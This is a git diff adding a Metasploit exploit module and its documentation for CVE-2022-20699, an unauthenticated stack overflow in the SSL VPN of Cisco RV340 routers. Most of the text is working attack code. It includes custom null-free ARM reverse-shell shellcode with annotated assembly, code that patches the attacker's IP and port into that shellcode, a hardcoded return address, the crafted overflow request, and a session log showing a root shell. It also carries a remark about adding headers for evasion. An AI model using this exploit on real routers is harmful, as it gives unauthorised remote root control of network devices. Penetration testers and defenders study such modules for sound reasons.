diff --git a/documentation/modules/exploit/linux/misc/cisco_rv340_sslvpn.md b/documentation/modules/exploit/linux/misc/cisco_rv340_sslvpn.md new file mode 100644 index 000000000000..6f6279bd86dd --- /dev/null +++ b/documentation/modules/exploit/linux/misc/cisco_rv340_sslvpn.md @@ -0,0 +1,75 @@ +## Description + +This module exploits a stack buffer overflow ([CVE-2022-20699](https://nvd.nist.gov/vuln/detail/CVE-2022-20699)) in the [Cisco RV series](https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-smb-mult-vuln-KA9PK6D.html) routers SSL VPN functionality. The default SSL VPN configuration is exploitable, with no authentication required and works over the Internet as seen in [this video](https://www.youtube.com/watch?v=O1uK_b1Tmts)! + +The stack is executable and no ASLR is in place, which makes exploitation easier. +Successful execution of this module results in a reverse root shell. A custom payload is used as Metasploit does not have ARMLE null free shellcode. +This vulnerability was presented by the [Flashback Team](https://twitter.com/flashbackpwn) in [Pwn2Own Austin 2021](https://www.thezdi.com/blog/2021/11/1/pwn2ownaustin) and [OffensiveCon 2022](https://www.offensivecon.org/speakers/2022/radek-domanski-and-pedro-ribeiro.html). + +This module has been tested in firmware versions 1.0.03.15 and above and works with around 65% reliability. The service restarts automatically so you can keep trying until you pwn it. + +Only the [RV340 router](https://www.cisco.com/c/en/us/products/routers/rv340-dual-gigabit-wan-vpn-router/index.html) was tested, but other RV series routers should work out of the box. + +For more information, check the advisory [here](https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Austin_2021/flashback_connects/flashback_connects.md) and [here](https://github.com/rdomanski/Exploits_and_Advisories/blob/master/advisories/Pwn2Own/Austin2021/flashback_connects/flashback_connects.md). + + +## Vulnerable Application + +Cisco RV340 Router, firmware versions 1.0.03.24 and below. The bug is fixed in 1.0.03.26 and above. + +## Verification Steps + + 1. Connect to the target on the WAN interface (or provide IP address) + 2. Make sure the SSLVPN service is turned on for the correct WAN interface + 2. Start msfconsole + 3. Do: `use exploits/linux/misc/cisco_rv340_sslvpn.rb` + 4. Set RHOST, RPORT, LHOST and LPORT + 5. Do `check` + 6. Do: `run` + 7. You should get a shell. + +## Options +``` +Module options (exploit/linux/misc/cisco_rv340_sslvpn): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit + RPORT 8443 yes The target port (TCP) + SSL true yes Use SSL + VHOST no HTTP server virtual host + + +Payload options (linux/armle/shell_reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + ARGV0 sh no argv[0] to pass to execve + LHOST yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + SHELL /bin/sh yes The shell to execute. + + +Exploit target: + + Id Name + -- ---- + 0 Cisco RV340 Firmware Version <= 1.0.03.24 +``` + +## Scenarios +``` +msf6 exploit(linux/misc/cisco_rv340_sslvpn) > check +[*] 5.55.55.62:8443 - The service is running, but could not be validated. +msf6 exploit(linux/misc/cisco_rv340_sslvpn) > exploit + +[*] Started reverse TCP handler on 5.55.55.1:4445 +[*] 5.55.55.62:8443 - 5.55.55.62:8443 - Pwning Cisco RV340 Firmware Version <= 1.0.03.24 +[*] Command shell session 30 opened (5.55.55.1:4445 -> 5.55.55.62:41976 ) at 2022-02-10 20:12:18 +0000 + +id +uid=0(root) gid=0(root) +uname -a +Linux router138486 4.1.8 #2 SMP Fri Oct 22 09:50:26 IST 2021 armv7l GNU/Linux +``` diff --git a/modules/exploits/linux/misc/cisco_rv340_sslvpn.rb b/modules/exploits/linux/misc/cisco_rv340_sslvpn.rb new file mode 100644 index 000000000000..117184a8e02d --- /dev/null +++ b/modules/exploits/linux/misc/cisco_rv340_sslvpn.rb @@ -0,0 +1,285 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = GoodRanking + + include Msf::Exploit::Remote::Tcp + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Cisco RV340 SSL VPN Unauthenticated Remote Code Execution', + 'Description' => %q{ + This module exploits a stack buffer overflow in the Cisco RV series routers SSL VPN + functionality. The default SSL VPN configuration is exploitable, with no authentication + required and works over the Internet! + The stack is executable and no ASLR is in place, which makes exploitation easier. + Successful execution of this module results in a reverse root shell. A custom payload is + used as Metasploit does not have ARMLE null free shellcode. + This vulnerability was presented by the Flashback Team in Pwn2Own Austin 2021 and OffensiveCon + 2022. For more information check the referenced advisory. + This module has been tested in firmware versions 1.0.03.15 and above and works with around + 65% reliability. The service restarts automatically so you can keep trying until you pwn it. + Only the RV340 router was tested, but other RV series routers should work out of the box. + }, + 'Author' => [ + 'Pedro Ribeiro ', # Vulnerability discovery and Metasploit module + 'Radek Domanski ' # Vulnerability discovery and Metasploit module + ], + 'License' => MSF_LICENSE, + 'Platform' => 'linux', + 'References' => [ + ['CVE', '2022-20699'], + ['URL', 'https://www.youtube.com/watch?v=O1uK_b1Tmts'], + ['URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Austin_2021/flashback_connects/flashback_connects.md'], + ['URL', 'https://github.com/rdomanski/Exploits_and_Advisories/blob/master/advisories/Pwn2Own/Austin2021/flashback_connects/flashback_connects.md'], + ['URL', 'https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-smb-mult-vuln-KA9PK6D.html'], + ], + 'Arch' => ARCH_ARMLE, + # We actually use our own shellcode because Metasploit doesn't have ARM encoders! + 'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/shell_reverse_tcp' }, + 'Targets' => [ + [ + 'Cisco RV340 Firmware Version <= 1.0.03.24', + { + # Shellcode location on stack (rwx stack, seriously Cisco...) + # The same for all vulnerable firmware versions: 0x704aed98 (+ 1 for thumb) + # + # NOTE: this is the shellcode location about 65% of the time. The rest is at + # The remaining 35% will land at 0x704f6d98, causing this sploit will fail. + # There's no way to guess it, but the service will restart again, so let's stick + # with the most common stack address. + 'Shellcode' => "\x99\xed\x4a\x70" + } + ], + ], + 'DisclosureDate' => '2022-02-02', + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => CRASH_SERVICE_RESTARTS, + # repeatable... but only works 65% of the time, see comments above + 'Reliability' => REPEATABLE_SESSION, + 'SideEffects' => nil + } + ) + ) + register_options( + [ + Opt::RPORT(8443), + OptBool.new('SSL', [true, 'Use SSL', true]) + ] + ) + end + + def check + # This should return a string like: + # "The Cisco AnyConnect VPN Client is required to connect to the SSLVPN server." (plus another phrase) + res = send_request_cgi({ 'uri' => '/login.html' }) + if res && res.code == 200 && res.body.include?('The Cisco AnyConnect VPN Client is required to connect to the SSLVPN server') + Exploit::CheckCode::Detected + else + Exploit::CheckCode::Unknown + end + end + + def hex_to_bin(int) + hex = int.to_s(16) + if (hex.length == 1) || (hex.length == 3) + hex = '0' + hex + end + hex.scan(/../).map { |x| x.hex.chr }.join + end + + def prep_shelly + # We need to roll our own shellcode, as Metasploit doesn't have encoders for ARMLE. + # A null free shellcode is needed, as this memory corruption is done through `strcat()` + # + # SHELLCODE_START: + # // Original shellcode from Azeria's blog + # // Expanded and Improved by the Flashback Team + # .global _start + # _start: + # .THUMB + # // socket(2, 1, 0) + # mov r0, #2 + # mov r1, #1 + # sub r2, r2 + # mov r7, #200 + # add r7, #81 // r7 = 281 (socket) + # svc #1 // r0 = resultant sockfd + # mov r4, r0 // save sockfd in r4 + # + # // connect(r0, &sockaddr, 16) + # adr r1, struct // pointer to address, port + # strb r2, [r1, #1] // write 0 for AF_INET + # mov r2, #16 + # add r7, #2 // r7 = 283 (connect) + # svc #1 + # + # // dup2(sockfd, 0) + # mov r7, #63 // r7 = 63 (dup2) + # mov r0, r4 // r4 is the saved sockfd + # sub r1, r1 // r1 = 0 (stdin) + # svc #1 + # // dup2(sockfd, 1) + # mov r0, r4 // r4 is the saved sockfd + # mov r1, #1 // r1 = 1 (stdout) + # svc #1 + # // dup2(sockfd, 2) + # mov r0, r4 // r4 is the saved sockfd + # mov r1, #2 // r1 = 2 (stderr) + # svc #1 + # + # // execve("/bin/sh", 0, 0) + # adr r0, binsh + # sub r2, r2 + # sub r1, r1 + # strb r2, [r0, #7] + # push {r0, r2} + # mov r1, sp + # cpy r2, r1 + # mov r7, #11 // r7 = 11 (execve) + # svc #1 + # + # eor r7, r7, r7 + # + # struct: + # .ascii "\x02\xff" // AF_INET 0xff will be NULLed + # .ascii "\x11\x5d" // port number 4445 + # .byte 5,5,5,1 // IP Address + # binsh: + # .ascii "/bin/shX" + # SHELLCODE_END + # + # Since we need to be null free, we have a very specific corner case, for addresses: + # X.0.Y.Z + # X.Y.0.Z + # X.Y.Z.0 + # X.0.0.Y + # X.Y.0.0 + # X.0.Y.0 + # X.0.0.0 + # These will contain a null byte for the each zero in the address. + # + # To fix this we add additional instructions to the shellcode and replace the null byte(s). + # adr r1, struct // pointer to address, port + # strb r2, [r1, #5] // write 0 for X.0.Y.Z (second octet) + # adr r1, struct // pointer to address, port + # strb r2, [r1, #6] // write 0 for X.Y.0.Z (third octet) + # adr r1, struct // pointer to address, port + # strb r2, [r1, #7] // write 0 for X.Y.Z.0 (last octet) + # + + # The following is used to convert LHOST and LPORT for shellcode inclusion + lport_h = hex_to_bin(lport) + lhost_h = '' + jump = 0xc + datastore['LHOST'].split('.').each do |n| + octet = hex_to_bin(n.to_i) + if octet == "\x00" + # Why we do this? Check comments below my fren + jump += 1 + end + lhost_h += octet + end + lhost_h = lhost_h.force_encoding('binary') + + # As part of the shellcode, we need to do: + # adr r1, struct // pointer to address, port + # strb r2, [r1, #1] // write 0 for AF_INET + # + # In order to do the "adr", we need to know where "struct" is. On an unmodified + # shellcode, this is "\x0c\xa1\x4a\x70". + # But if we have one or more null bytes in the LHOST, we need to add more instructions. + # This means the "\x0c", the distance from $pc to "struct, is going to be either + # "\x0d, "\x0e" or "\x0f". + # Long story short, this distance is the jump variable, and we need to calculate it + # properly the more instructions we add. + # + # This is our jump, now calculated with the additional (or not) instructions: + ins = hex_to_bin(jump) + "\xa1\x4a\x70" + jump -= 1 + + # And now we calculate all the null bytes we have, replace them with \xff and add + # the proper jump: + for i in 1..3 do + next unless lhost_h[i] == "\x00" + + ins_add = '' + lhost_h[i] = "\xff" + if i == 1 + # strb r2, [r1, #5] // write 0 for X.0.Y.Z (second octet) + ins_add = "\x4a\x71" + elsif i == 2 + # strb r2, [r1, #6] // write 0 for X.Y.0.Z (third octet) + ins_add = "\x8a\x71" + elsif i == 3 + # strb r2, [r1, #7] // write 0 for X.Y.Z.0 (last octet) + ins_add = "\xca\x71" + end + ins += hex_to_bin(jump) + "\xa1" + ins_add + jump -= 1 + end + ins = ins.force_encoding('binary') + + shellcode = "\x02\x20\x01\x21\x92\x1a\xc8\x27\x51\x37\x01\xdf\x04\x1c" + ins + + "\x10\x22\x02\x37\x01\xdf\x3f\x27\x20\x1c\x49\x1a\x01\xdf\x20\x1c\x01\x21" \ + "\x01\xdf\x20\x1c\x02\x21\x01\xdf\x06\xa0\x92\x1a\x49\x1a\xc2\x71\x05\xb4" \ + "\x69\x46\x0a\x46\x0b\x27\x01\xdf\x7f\x40\x02\xff" + lport_h + lhost_h + + "\x2f\x62\x69\x6e\x2f\x73\x68\x58" + shelly = shellcode + rand_text_alphanumeric(16400 - shellcode.length) + target['Shellcode'] + shelly + end + + def sock_get(app_host, app_port) + begin + ctx = { 'Msf' => framework, 'MsfExploit' => self } + sock = Rex::Socket.create_tcp( + { 'PeerHost' => app_host, 'PeerPort' => app_port, 'Context' => ctx, 'Timeout' => 10 } + ) + rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError + sock.close if sock + end + if sock.nil? + fail_with(Failure::Unknown, 'Failed to connect to the chosen application') + end + + # also need to add support for old ciphers + ctx = OpenSSL::SSL::SSLContext.new + ctx.min_version = OpenSSL::SSL::SSL3_VERSION + ctx.security_level = 0 + ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE + s = OpenSSL::SSL::SSLSocket.new(sock, ctx) + s.sync_close = true + s.connect + return s + end + + def exploit + print_status("#{peer} - Pwning #{target.name}") + payload = prep_shelly + begin + sock = sock_get(rhost, rport) + # With the base request, our shellcode will be about 0x12a from $sp when we take control. + # + # But we noticed that by adding more filler in the request we can have better reliability. + # So let's use 0x86 as filler and dump the filler in the URL! This number is arbitrary and + # can be increased / decreased, but we find 0x86 works well. + # (this means our shellcode address in the target definition above is $sp + 0x12a + 0x86) + # + # It would be good to add some valid headers with semi random data for proper evasion :D + http = 'POST /' + rand_text_alphanumeric(0x86) + " HTTP/1.1\r\nContent-Length: 16404\r\n\r\n" + + sock.write(http) + sock.write(payload) + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the router") + end + end +end